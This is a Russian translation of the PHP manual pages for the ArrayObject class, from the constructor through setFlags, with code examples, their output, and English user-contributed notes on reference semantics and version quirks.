public ArrayObject::__construct(array|object $array = [], int $flags = 0, string $iteratorClass = ArrayIterator::class)

Создаёт новый объект (object) массива.

Список параметров

array

Параметр array принимает значение типа array или Object.

flags

Флаги для управления поведением объекта ArrayObject. Смотрите ArrayObject::setFlags().

iteratorClass

Указывает класс, который будет использоваться в качестве итератора объекта ArrayObject. Класс должен реализовать интерфейс ArrayIterator.

Примеры

Пример #1 Пример использования ArrayObject::__construct()

<?php
$array = array('1' => 'one',
'2' => 'two',
'3' => 'three');

$arrayobject = new ArrayObject($array);

var_dump($arrayobject);
?>

Результат выполнения данного примера:

object(ArrayObject)#1 (3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

Смотрите также

  • ArrayObject::setflags() - Устанавливает флаги поведения

User Contributed Notes

ashley at nospam dot zincdigital dot com 03-Jul-2009 03:18
The great confusion with this class is in its naming.  ArrayObject infers it will behave as an Array and as an Object.  It won't.  It behaves as an array.  It would better be called ArrayType.  You can, with some work, get it to work both as an object and as an array, but that is up to you.
german dot rumm at gmail dot com 14-Mar-2008 10:37
BTW, if you need to change array later, use exchangeArray() method. Good to know when you are writing a class that extends ArrayObject()

AFAIK, exchangeArray() doesn't return anything.

<?php
    $a = array('one', 'two', 'three');
    $ao = new ArrayObject($a);

    foreach ($ao as $element) {
        echo $element . ' '; // one two three
    }

    $b = array('four', 'five', 'six');
    $ao->exchangeArray($b); // returns null

    foreach ($ao as $element) {
        echo $element . ' '; // four five six
    }
?>
agalkin at agalkin dot ru 21-Aug-2007 01:56
Note that the first argument to ArrayObject::__construct, the initial array, is passed by reference. Nevertheless, modification of the array doesn't modify the object, so it may cause unexpected behaviour.

<?php
$array = array('foo' => 'initial');
$obj = new ArrayObject($array);

// array was passed by reference:
$obj['foo'] = 'modified';
var_dump($array); // foo => modified

// but it doesn't work backwards:
$array['foo'] = 'modified_again';
var_dump($obj); // foo => modified
var_dump($array); // foo => modified_again
?>
Grigori Kochanov 15-Jul-2006 03:51
As Marcus explained, the flag ArrayObject::SPL_ARRAY_AS_PROPS means the array element may be used as a property if there is no conflict with visible properties.

If there are visible properties in the class, the array element will not overwrite it's value.

<?php
class Rules extends ArrayObject {
    public $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 1

<?php
class Rules extends ArrayObject {
    private $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 2


Получить количество общедоступных свойств ArrayObject

  • « ArrayObject::__construct
  • ArrayObject::exchangeArray »
  • PHP Manual
  • ArrayObject
  • Получить количество общедоступных свойств ArrayObject

ArrayObject::count

(PHP 5, PHP 7, PHP 8)

ArrayObject::count — Получить количество общедоступных свойств ArrayObject

Описание

public ArrayObject::count(): int

Получить количество общедоступных свойств ArrayObject.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество общедоступных свойств ArrayObject.

Замечание:

Если ArrayObject создаётся из массива, то все свойства являются общедоступными.

Примеры

Пример #1 Пример использования ArrayObject::count()

<?php
class Example {
public $public = 'prop:public';
private $prv = 'prop:private';
protected $prt = 'prop:protected';
}

$arrayobj = new ArrayObject(new Example());
var_dump($arrayobj->count());

$arrayobj = new ArrayObject(array('first','second','third'));
var_dump($arrayobj->count());
?>

Результат выполнения данного примера:

int(1)
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Заменить массив на другой

  • « ArrayObject::count
  • ArrayObject::getArrayCopy »
  • PHP Manual
  • ArrayObject
  • Заменить массив на другой

ArrayObject::exchangeArray

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::exchangeArray — Заменить массив на другой

Описание

public ArrayObject::exchangeArray(array|object $array): array

Заменяет текущий массив (array) на другой массив (array) или объект (object).

Список параметров

array

Новый массив (array) или объект (object) для замены текущего массива.

Возвращаемые значения

Возвращает старый массив (array).

Примеры

Пример #1 Пример использования ArrayObject::exchangeArray()

<?php
// Массив с количеством фруктов
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);
// Массив мест в Европе
$locations = array('Amsterdam', 'Paris', 'London');

$fruitsArrayObject = new ArrayObject($fruits);

// Сейчас заменим фрукты на места
$old = $fruitsArrayObject->exchangeArray($locations);
print_r($old);
print_r($fruitsArrayObject);

?>

Результат выполнения данного примера:

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)
ArrayObject Object
(
    [0] => Amsterdam
    [1] => Paris
    [2] => London
)

User Contributed Notes

ievgen dot varava at spryker dot com 02-Mar-2021 11:02
Looks like PHP8 brings undocumented change to this method signature. Example:

<?php
interface intA {
    public function exchangeArray($param);
}

class classB extends ArrayObject implements intA {}
 ?>

PHP 7.4.13: no errors

PHP 8.0.0: Fatal error:  Declaration of ArrayObject::exchangeArray(object|array $array) must be compatible with intA::exchangeArray($param)
Corentin Larose 09-May-2014 02:59
It's worth notting that ArrayObject::exchangeArray() doesn't call ArrayObject::offsetSet() internally for each offset/property of the array/object provided in argument.

It's also worth noting the let's say "unexpected" behavior of get/set:

<?php
class MyArrayObject extends ArrayObject
{
    public function offsetSet($name, $value)
    {
        parent::offsetSet($name . '_control', $value);
        parent::offsetSet($name, $value);
    }
}

$test = new MyArrayObject();
$test->setFlags(\ArrayObject::ARRAY_AS_PROPS);
$test['my_value_1'] = 1;
$test['my_value_1'] = $test['my_value_1'] + 1;
$test['my_value_1'] += 1;
$test['my_value_1'] ++;
++ $test['my_value_1'];

$test->my_value_2 = 1;
$test->my_value_2 = $test->my_value_2 + 1;
$test->my_value_2 += 1;
$test->my_value_2 ++;
++ $test->my_value_2;

print_r($test);

// Prints out:
MyArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [my_value_1_control] => 3
            [my_value_1] => 5
            [my_value_2_control] => 2
            [my_value_2] => 5
        )
)
?>
Dmitri Snytkine 15-Dec-2009 02:11
It seems that input array is always passed by reference.
For example if you have an existing array
$array with some values
then you have an arrayobject $o
and then you do this:
$o->exchangeArray($array);
$o->offsetSet('somekey', 'some value');

Now if you check your $array array, it will have
a key 'somekey' with value of 'some value'

I totally did not expect that, I am sure it was a mistake to pass array by reference by default.


Создаёт копию ArrayObject

  • « ArrayObject::exchangeArray
  • ArrayObject::getFlags »
  • PHP Manual
  • ArrayObject
  • Создаёт копию ArrayObject

ArrayObject::getArrayCopy

(PHP 5, PHP 7, PHP 8)

ArrayObject::getArrayCopy — Создаёт копию ArrayObject

Описание

public ArrayObject::getArrayCopy(): array

Экспортирует ArrayObject в массив.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает копию массива. Если ArrayObject ссылается на объект, то будет возвращён массив свойств данного объекта.

Примеры

Пример #1 Пример использования ArrayObject::getArrayCopy()

<?php
// Массив с количеством фруктов
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);
$fruitsArrayObject['pears'] = 4;

// Создать копию массива
$copy = $fruitsArrayObject->getArrayCopy();
print_r($copy);

?>

Результат выполнения данного примера:

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
    [pears] => 4
)

User Contributed Notes

sorcerer 03-Jan-2017 06:34
When I used print_r ($fruitsArrayObject) instead of print_r ($copy), i.e. ignoring the getArrayCopy() step, I still got the same output. Why?
spidgorny at gmail dot com 14-Dec-2016 03:37
<?php
$data = $likeArray->getArrayCopy();
?>
will NOT be magically called if you cast to array. Although I've expected it.
<?php
$nothing = (array)$likeArray;
?>
Here, $data != $nothing.
jlshor at buffalo dot edu 07-Dec-2016 08:53
Is there a difference between casting to an array and using this function?

For instance, if we have:
$arrayObject = new ArrayObject([1, 2, 3]);

Is there a difference between these:
$array = (array) $arrayObject;
vs
$array = $arrayObject->getArrayCopy();

If not, is there any scenario where they would produce different results, or do they produce the result in different ways?
php at webflips dot net 24-May-2014 07:42
"When the ArrayObject refers to an object an array of the public properties of that object will be returned."

This description does not seem to be right:

<?php
class A
{
    public $var = 'var';
    protected $foo = 'foo';
    private $bar = 'bar';
}

$o = new ArrayObject(new A());
var_dump($o->getArrayCopy());

/*
Dumps:

array(3) {
  ["var"]=>
  string(3) "var"
  ["*foo"]=>
  string(3) "foo"
  ["Abar"]=>
  string(3) "bar"
}
*/
?>

So it does not only include the public properties.
Ivo von Putzer 05-Dec-2011 05:06
If you did something like this to make your constructor multidimensional capable you will have some trouble using getArrayCopy to get a plain array straight out of the method:
<?php
public function __construct( $array = array(), $flags = 2 )
{
    // let's give the objects the right and not the inherited name
    $class = get_class($this);

    foreach($array as $offset => $value)
        $this->offsetSet($offset, is_array($value) ? new $class($value) : $value);

    $this->setFlags($flags);
}
?>

That's the way I solved it:

<?php
public function getArray($recursion = false)
{
    // just in case the object might be multidimensional
    if ( $this === true)
        return $this->getArrayCopy();

    return array_map( function($item){
        return is_object($item) ? $item->getArray(true) : $item;
    }, $this->getArrayCopy() );
}
?>

Hope this was useful!


Получает флаги поведения

  • « ArrayObject::getArrayCopy
  • ArrayObject::getIterator »
  • PHP Manual
  • ArrayObject
  • Получает флаги поведения

ArrayObject::getFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::getFlags — Получает флаги поведения

Описание

public ArrayObject::getFlags(): int

Получает флаги поведения ArrayObject. Смотрите метод ArrayObject::setFlags для просмотра списка возможных флагов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает флаги поведения ArrayObject.

Примеры

Пример #1 Пример использования ArrayObject::getFlags()

<?php
// Массив с количеством фруктов
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Получение текущих флагов
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);

// Установка новых флагов
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);

// Получение новых флагов
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);
?>

Результат выполнения данного примера:

int(0)
int(2)

Смотрите также

  • Метод ArrayObject::setFlags() - Устанавливает флаги поведения

User Contributed Notes

There are no user contributed notes for this page.


Создать новый итератор из экземпляра ArrayObject

  • « ArrayObject::getFlags
  • ArrayObject::getIteratorClass »
  • PHP Manual
  • ArrayObject
  • Создать новый итератор из экземпляра ArrayObject

ArrayObject::getIterator

(PHP 5, PHP 7, PHP 8)

ArrayObject::getIterator — Создать новый итератор из экземпляра ArrayObject

Описание

public ArrayObject::getIterator(): Iterator

Создать новый итератор из экземпляра ArrayObject.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Итератор из ArrayObject.

Примеры

Пример #1 Пример использования ArrayObject::getIterator()

<?php
$array = array('1' => 'one',
'2' => 'two',
'3' => 'three');

$arrayobject = new ArrayObject($array);

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
echo $iterator->key() . ' => ' . $iterator->current() . "\n";

$iterator->next();
}
?>

Результат выполнения данного примера:

1 => one
2 => two
3 => three

User Contributed Notes

doug at centraldesktop 07-Nov-2013 10:10
ArrayObject iterator class requires a child of ArrayObject or ArrayIterator

<?php

class MyIterator implements Iterator {

    public
    function __construct(ArrayObject $array, $flags = 0) {
        // ...
    }

    public
    function current() {
        // ..
    }

    public
    function next() {
        // ..
    }

    public
    function key() {
        // ..
    }

    public
    function valid() {
        // ..
    }

    public
    function rewind() {
        // ..
    }
}

$obj = new ArrayObject(array(), 0, 'MyIterator');
$obj->getIterator();

?>

PHP Fatal error: ArrayObject::getIterator(): Internal compiler error, Class is not child of ArrayObject or ArrayIterator in php shell code on line 1


Получает имя класса итератора для ArrayObject

  • « ArrayObject::getIterator
  • ArrayObject::ksort »
  • PHP Manual
  • ArrayObject
  • Получает имя класса итератора для ArrayObject

ArrayObject::getIteratorClass

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::getIteratorClass — Получает имя класса итератора для ArrayObject

Описание

public ArrayObject::getIteratorClass(): string

Получает имя класса итератора массива, который используется ArrayObject::getIterator().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя класса итератора массива, который используется для итерации по этому объекту.

Примеры

Пример #1 Пример использования ArrayObject::getIteratorClass()

<?php
// Пользовательский ArrayIterator (включает в себя ArrayIterator)
class MyArrayIterator extends ArrayIterator {
// пользовательская реализация
}

// Массив доступных фруктов
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Получить текущее имя класса итератора
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);

// Установить новое имя класса итератора
$fruitsArrayObject->setIteratorClass('MyArrayIterator');

// Получить новое имя класса итератора
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);
?>

Результат выполнения данного примера:

string(13) "ArrayIterator"
string(15) "MyArrayIterator"

Смотрите также

  • ArrayObject::setIteratorClass

User Contributed Notes

There are no user contributed notes for this page.


Сортировать записи по ключам

  • « ArrayObject::getIteratorClass
  • ArrayObject::natcasesort »
  • PHP Manual
  • ArrayObject
  • Сортировать записи по ключам

ArrayObject::ksort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::ksort — Сортировать записи по ключам

Описание

public ArrayObject::ksort(int $flags = SORT_REGULAR): true

Сортирует массив по ключам, сохраняя отношения между ключами и значениями. Это полезно в основном для работы с ассоциативными массивами.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типа сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строки на основе текущего языкового стандарта. Используется языковой стандарт, который можно изменить с помощью setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования ArrayObject::ksort()

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->ksort();

foreach ($fruitArrayObject as $key => $val) {
echo "$key = $val\n";
}
?>

Результат выполнения данного примера:

a = orange
b = banana
c = apple
d = lemon

Смотрите также

  • ArrayObject::asort() - Сортировать записи по значению
  • ArrayObject::natsort() - Сортировать массив, используя алгоритм "natural order"
  • ArrayObject::natcasesort() - Сортировать массив, используя регистронезависимый алгоритм "natural order"
  • ArrayObject::uasort() - Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение
  • ArrayObject::uksort() - Сортировать массив по ключам, используя пользовательскую функцию для сравнения
  • ksort() - Сортирует массив по ключу в порядке возрастания

User Contributed Notes

There are no user contributed notes for this page.


Сортировать массив, используя регистронезависимый алгоритм "natural order"

  • « ArrayObject::ksort
  • ArrayObject::natsort »
  • PHP Manual
  • ArrayObject
  • Сортировать массив, используя регистронезависимый алгоритм "natural order"

ArrayObject::natcasesort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::natcasesort — Сортировать массив, используя регистронезависимый алгоритм "natural order"

Описание

public ArrayObject::natcasesort(): true

Этот метод является регистронезависимой версией ArrayObject::natsort.

Этот метод реализует алгоритм сортировки, при котором порядок буквенно-цифровых строк будет привычным для человека, сохраняя при этом связь ключ/значение. Такой алгоритм называется "естественный порядок" (natural ordering).

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования ArrayObject::natcasesort()

<?php
$array = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Стандартная сортировка\n";
print_r($arr1);

$arr2->natcasesort();
echo "\nСортировка в естественном порядке (без учёта регистра)\n";
print_r($arr2);
?>

Результат выполнения данного примера:

Стандартная сортировка
ArrayObject Object
(
    [0] => IMG0.png
    [5] => IMG3.png
    [4] => img1.png
    [2] => img10.png
    [1] => img12.png
    [3] => img2.png
)

Сортировка в естественном порядке (без учёта регистра)
ArrayObject Object
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

Для более подробной информации смотрите страницу Мартина Пула (Martin Pool) » Natural Order String Comparison.

Смотрите также

  • ArrayObject::asort() - Сортировать записи по значению
  • ArrayObject::ksort() - Сортировать записи по ключам
  • ArrayObject::natsort() - Сортировать массив, используя алгоритм "natural order"
  • ArrayObject::uasort() - Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение
  • ArrayObject::uksort() - Сортировать массив по ключам, используя пользовательскую функцию для сравнения
  • natcasesort() - Сортирует массив, используя алгоритм "natural order" без учёта регистра символов

User Contributed Notes

There are no user contributed notes for this page.


Сортировать массив, используя алгоритм "natural order"

  • « ArrayObject::natcasesort
  • ArrayObject::offsetExists »
  • PHP Manual
  • ArrayObject
  • Сортировать массив, используя алгоритм "natural order"

ArrayObject::natsort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::natsort — Сортировать массив, используя алгоритм "natural order"

Описание

public ArrayObject::natsort(): true

Этот метод реализует алгоритм сортировки, при котором порядок буквенно-цифровых строк будет привычным для человека, сохраняя при этом связь ключ/значение. Такой алгоритм называется "естественный порядок" (natural ordering). Пример разницы между этим алгоритмом и обычными алгоритмами сортировки, (используются в ArrayObject::asort) можно увидеть в примере ниже.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования ArrayObject::natsort()

<?php
$array = array("img12.png", "img10.png", "img2.png", "img1.png");

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Стандартная сортировка\n";
print_r($arr1);

$arr2->natsort();
echo "\nСортировка в естественном порядке\n";
print_r($arr2);
?>

Результат выполнения данного примера:

Стандартная сортировка
ArrayObject Object
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Сортировка в естественном порядке
ArrayObject Object
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

Для более подробной информации смотрите страницу Мартина Пула (Martin Pool) » Natural Order String Comparison.

Смотрите также

  • ArrayObject::asort() - Сортировать записи по значению
  • ArrayObject::ksort() - Сортировать записи по ключам
  • ArrayObject::natcasesort() - Сортировать массив, используя регистронезависимый алгоритм "natural order"
  • ArrayObject::uasort() - Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение
  • ArrayObject::uksort() - Сортировать массив по ключам, используя пользовательскую функцию для сравнения
  • natsort() - Сортирует массив, используя алгоритм "natural order"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, существует ли указанный индекс

  • « ArrayObject::natsort
  • ArrayObject::offsetGet »
  • PHP Manual
  • ArrayObject
  • Возвращает, существует ли указанный индекс

ArrayObject::offsetExists

(PHP 5, PHP 7, PHP 8)

ArrayObject::offsetExists — Возвращает, существует ли указанный индекс

Описание

public ArrayObject::offsetExists(mixed $key): bool

Список параметров

key

Индекс, который должен быть проверен.

Возвращаемые значения

true, если указанный индекс существует, в противном случае false

Примеры

Пример #1 Пример использования ArrayObject::offsetExists()

<?php
$arrayobj = new ArrayObject(array('zero', 'one', 'example'=>'e.g.'));
var_dump($arrayobj->offsetExists(1));
var_dump($arrayobj->offsetExists('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)

User Contributed Notes

goran at extensionsforjoomla dot com 09-Jul-2007 03:52
In versions prior to PHP 5.2.2 offsetExists() would return false if index value is null.
<?php
// running PHP 5.2.1
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(false)
// running PHP 5.2.2
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(true)
?>
Both tests where made on Windows platform.


Возвращает значение по указанному индексу

  • « ArrayObject::offsetExists
  • ArrayObject::offsetSet »
  • PHP Manual
  • ArrayObject
  • Возвращает значение по указанному индексу

ArrayObject::offsetGet

(PHP 5, PHP 7, PHP 8)

ArrayObject::offsetGet — Возвращает значение по указанному индексу

Описание

public ArrayObject::offsetGet(mixed $key): mixed

Список параметров

key

Индекс, ссылающийся на значение.

Возвращаемые значения

Значение по указанному индексу или null.

Ошибки

Вызывает ошибку уровня E_NOTICE, если указанный индекс не существует.

Примеры

Пример #1 Пример использования ArrayObject::offsetGet()

<?php
$arrayobj = new ArrayObject(array('zero', 7, 'example'=>'e.g.'));
var_dump($arrayobj->offsetGet(1));
var_dump($arrayobj->offsetGet('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

Результат выполнения данного примера:

int(7)
string(4) "e.g."
bool(false)

User Contributed Notes

Jason 11-Apr-2016 02:43
It's worth noting that the PHP devs *did* fix the issue brought up in Sam's comment in 2013 (per the comment thread in his link here: https://bugs.php.net/bug.php?id=34783#1366088374), since at least PHP 5.3.8.

So, you *can* (and in most cases should) overload offsetGet with reference syntax to get expected functionality:

<?php
class myArrayType extends ArrayAccess {

    public function &offsetGet($index) {
        // ...
    }

}
?>
Alex Andrienko 20-Jan-2009 03:58
Speaking of offsetGet() method overloading, be advised, that if you're iterating through Object via foreach, this method wouldn't be called. Iterator's current() method will be called instead.
Sam 30-Nov-2007 03:01
If you're overloading ArrayObject, it's worth noting that while this method (when implemented by the parent) will return a reference, so code like $fakeArray['foobar']['hello'] = 1; will work like you expect.

However, when you overload the offsetGet method, you CANNOT define it as &offsetGet, so the above code falls out (because it returns the 'foobar' variable before you actually work with it).

This is something that the developers broke between 5.0 and 5.1, and was closed as bogus (http://bugs.php.net/bug.php?id=34783). So this is not a big, or question, or request, but just something worth noting.


Устанавливает новое значение по указанному индексу

  • « ArrayObject::offsetGet
  • ArrayObject::offsetUnset »
  • PHP Manual
  • ArrayObject
  • Устанавливает новое значение по указанному индексу

ArrayObject::offsetSet

(PHP 5, PHP 7, PHP 8)

ArrayObject::offsetSet — Устанавливает новое значение по указанному индексу

Описание

public ArrayObject::offsetSet(mixed $key, mixed $value): void

Устанавливает новое значение по указанному индексу.

Список параметров

key

Индекс для установки значения.

value

Новое значение для key.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ArrayObject::offsetSet()

<?php
class Example {
public $property = 'prop:public';
}
$arrayobj = new ArrayObject(new Example());
$arrayobj->offsetSet(4, 'four');
$arrayobj->offsetSet('group', array('g1', 'g2'));
var_dump($arrayobj);

$arrayobj = new ArrayObject(array('zero','one'));
$arrayobj->offsetSet(null, 'last');
var_dump($arrayobj);
?>

Результат выполнения данного примера:

object(ArrayObject)#1 (3) {
  ["property"]=>
  string(11) "prop:public"
  [4]=>
  string(4) "four"
  ["group"]=>
  array(2) {
    [0]=>
    string(2) "g1"
    [1]=>
    string(2) "g2"
  }
}
object(ArrayObject)#3 (3) {
  [0]=>
  string(4) "zero"
  [1]=>
  string(3) "one"
  [2]=>
  string(4) "last"
}

Смотрите также

  • ArrayObject::append() - Добавляет значение в конец массива

User Contributed Notes

jerikojerk 22-Aug-2011 03:58
On my php 5.3.5 installation, i discovered that value can be set by reference and not by copy ... depending the context..

so this is different from what a regular array()

<?php

function set(&$x, &$a )
{
    $x[] = $a;
}

$x = new ArrayObject();
$y = array();
$z = new ArrayObject();

$a =  array( 'foo' );
set($y,$a);
set($x,$a);
$z[]=$a;

$a = array( 'bar');

set($x,$a);
set($y,$a);
$z[]=$a;

print_r($x);
print_r($y);
print_r($z);
?>

// output
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
Array
(
    [0] => Array
        (
            [0] => foo
        )

    [1] => Array
        (
            [0] => bar
        )

)
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
n dot lenepveu at gmail dot com 30-Sep-2008 12:20
If $index is null, $newval is naturally pushed onto the end of the array as ArrayObject::append


Удаляет значение по указанному индексу

  • « ArrayObject::offsetSet
  • ArrayObject::serialize »
  • PHP Manual
  • ArrayObject
  • Удаляет значение по указанному индексу

ArrayObject::offsetUnset

(PHP 5, PHP 7, PHP 8)

ArrayObject::offsetUnset — Удаляет значение по указанному индексу

Описание

public ArrayObject::offsetUnset(mixed $key): void

Удаляет значение по указанному индексу.

Список параметров

key

Индекс, значение которого необходимо удалить.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ArrayObject::offsetUnset()

<?php
$arrayobj = new ArrayObject(array(0=>'zero',2=>'two'));
$arrayobj->offsetUnset(2);
var_dump($arrayobj);
?>

Результат выполнения данного примера:

object(ArrayObject)#1 (1) {
  [0]=>
  string(4) "zero"
}

User Contributed Notes

pvenakis at efront dot gr 10-Jan-2008 12:57
When traversing recursively nested arrays using an RecursiveIteratorIterator, you cannot offsetUnset() or offsetSet() sub-array values, unless they are *all* declared as ArrayObject.
oalexandrino at yahoo dot com dot br 28-May-2007 11:11
Be careful when you are working with collections. This method works with the reference of an array instead of its retrieved value.

So, you can do a mistake.

In order to understand have a look at code as follow:

<?php
class Employee
{
    public function __construct()
    {
    }
}

class Company
{
    private $arrEmployee;

    public function __construct()
    {
    }

    public function AddEmployee(Employee $oEmployee)
    {
        $this->arrEmployee[] = $oEmployee;

    }

    public function getEmployeeList()
    {
        return $this->arrEmployee;

    }

}
?>

<?php

// first, creates the Company object
$oCompany = new Company();

// second, add 10 elements in
foreach( range(0, 9) as $index )
{
    $oCompany->AddEmployee( new Employee() );
}

// get them
$arrEmployee = $oCompany->getEmployeeList();

// creates an ArrayObject from "$arrEmployee"
$arrayobject = new ArrayObject($arrEmployee);

// unsets its firt five elements
foreach( range(0, 4) as $index )
{
    $arrayobject->offsetUnset($index);
}

// get them again
$arrEmployee = $oCompany->getEmployeeList();

// it shows just 5 elements, they were removed as reference via "offsetUnset" method
print_r($arrEmployee) ;

?>


Сериализовать ArrayObject

  • « ArrayObject::offsetUnset
  • ArrayObject::setFlags »
  • PHP Manual
  • ArrayObject
  • Сериализовать ArrayObject

ArrayObject::serialize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ArrayObject::serialize — Сериализовать ArrayObject

Описание

public ArrayObject::serialize(): string

Сериализует ArrayObject.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сериализованное представление ArrayObject.

Примеры

Пример #1 Пример использования ArrayObject::serialize()

<?php
$o = new ArrayObject();

$s1 = serialize($o);
$s2 = $o->serialize();

var_dump($s1);
var_dump($s2);
?>

Результат выполнения данного примера:

string(45) "C:11:"ArrayObject":21:{x:i:0;a:0:{};m:a:0:{}}"
string(21) "x:i:0;a:0:{};m:a:0:{}"

Смотрите также

  • ArrayObject::unserialize() - Десериализовать ArrayObject
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает флаги поведения

  • « ArrayObject::serialize
  • ArrayObject::setIteratorClass »
  • PHP Manual
  • ArrayObject
  • Устанавливает флаги поведения

ArrayObject::setFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::setFlags — Устанавливает флаги поведения

Описание

public ArrayObject::setFlags(int $flags): void

Устанавливает флаги, которые влияют на поведение ArrayObject.

Список параметров

flags

Новое поведение ArrayObject. Допускается либо битовая маска, либо именованные константы. Использование именованных констант настоятельно рекомендуется для обеспечения совместимости с будущими версиями.

Доступные флаги поведения перечислены ниже. Фактические значения этих флагов описаны в разделе предопределённые константы.

Флаги поведения ArrayObject
Значение | Константа
1 | ArrayObject::STD_PROP_LIST
2 | ArrayObject::ARRAY_AS_PROPS

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ArrayObject::setFlags()

<?php
// Массив с доступными фруктами
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Попытка использовать ключ массива как свойство
var_dump($fruitsArrayObject->lemons);
// Установка флага, позволяющего использовать ключи массива как свойства ArrayObject
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);
// Новая попытка
